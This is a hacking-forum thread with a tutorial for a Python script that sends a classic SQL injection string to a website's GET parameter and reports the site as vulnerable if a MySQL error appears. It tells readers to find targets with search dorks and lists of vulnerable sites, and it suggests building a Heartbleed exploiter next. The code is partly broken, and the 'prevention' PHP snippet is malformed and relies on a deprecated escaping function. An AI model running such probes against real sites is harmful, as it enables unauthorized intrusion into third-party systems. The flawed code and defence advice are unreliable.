

Forum:[Hack Forums](#)

Thread: [simple SQL Injection checking vulnerability with Python](#)

Decryption/Critical - February 14, 2024, 1:34 am

Hello, today we are making an Python MySQL SQL Injection checking tool. That's why we named it Code your first simple SQL Injection checking vulnerability with Python ?

It will work only on GET parameter using websites.

You are going to need:

- Python 3.4
- Internet Connection
- A vulnerable website
- Computer with Windows or Linux

If you haven't got installed Python yet, download it from the following link:

<https://www.python.org/downloads/>

Python basics

Python is written in C, it is one of the easiest programming languages for hacking tools, it includes alot of very useful libs, today, we will use 1 of them,

Finding a website for testing

You can easily find a website for testing using simple SQLi dorks, like `inurl:"index.php?cat_id="`. You can find vulnerable site dumps over the web.

Step by step Code your first simple SQLi checking vulnerability with Python:

Before starting coding, make a new .py file.

Importing main libraries

This time we will use sys, urllib and urllib.request modules, so import those 3 by using `import sys, urllib, urllib.request` or `import sys, import urllib and import urllib.request` in the new line

Explanation: 'import' is used for importing libraries, such as urllib or os, system.

Selecting the input type

Now we need to select the input type, the first one is pretty simple, the other one is harder. This time we will use the first one, but it does not affect other lines of code.

1) Use `input("")` commands to get user input. This time it will be:

```
fullurl = input("Please specify the full vulnerable url: ")
```

Explanation: 'variable = input("Input: ")' sets the var 'variable' to user input, 'Input: ' is the text seen by the user at the input line.

2) Use arguments for specifying the data:

```
for carg in sys.argv:
```

```
if carg == "-w":
```

```
    argnum = sys.argv.index(carg)
```

```
    argnum += 1
```

```
    fullurl = sys.argv[argnum]
```

Explanation: 'if' is a well known macro statement. Right now, we are using it to determine current arg, the other lines – indicates the second argument, 'in' – checks if there is a specified text in a string.

Coding the program to make an web request

This is the most important part.

```
resp = urllib.request.urlopen(fullurl + "=1\ or \'1\' = \'1\'")
```

```
body = resp.read()
```

```
fullbody = body.decode('utf-8')
```

Explanation: the resp variable is set to the request response, body – to the response text, fullbody – to the decoded request text, '+' is the addition variable on Python, \ is the escape character.

Making the program to check if the target is vulnerable

Now, once we have the response, we have to check if it contains SQL errors.

We will use this code for that:

```
if "You have an error in your SQL syntax" in fullbody:
```

```
    print ("The website is classic SQL injection vulnerable!")
```

```
else:
```

```
    print ("The website is not classic SQL injection vulnerable!")
```

Explanation: We use 'if' macro for checking if there's the specified text in the response.

Scanner with first type of getting user input

with second type

So yeah, that's it!

Save the file, open cmd and run 'python filename.py' and input the requested info, if you were using the second method, use 'python filename.py -w website'. It will check if the site's vulnerable ?

The copied code may not work, please rewrite it to your file ?

If you had errors in syntax

Unexpected indendity shows up when there are problems with tabs.

Problems with syntax are mostly showing up on problems with macros. If this error occurred, please check your macros validity.

How to prevent simple SQL injection

Preventing SQLi ON MYSQL is very simple. Just use mysql_real_escape_string for queries, as example:

```
$query = sprintf("SELECT * FROM users where user='%s' AND password='%s',
```

```
mysql_real_escape_string($username)
```

```
mysql_real_escape_string($password)
```

ADVICE: after having success on this scanner, try to making a heartbleed exploiter ?

INCREDIBLE - February 14, 2024, 4:57 am

One advice for you. you should use proper formatting to paste such useful tutorials.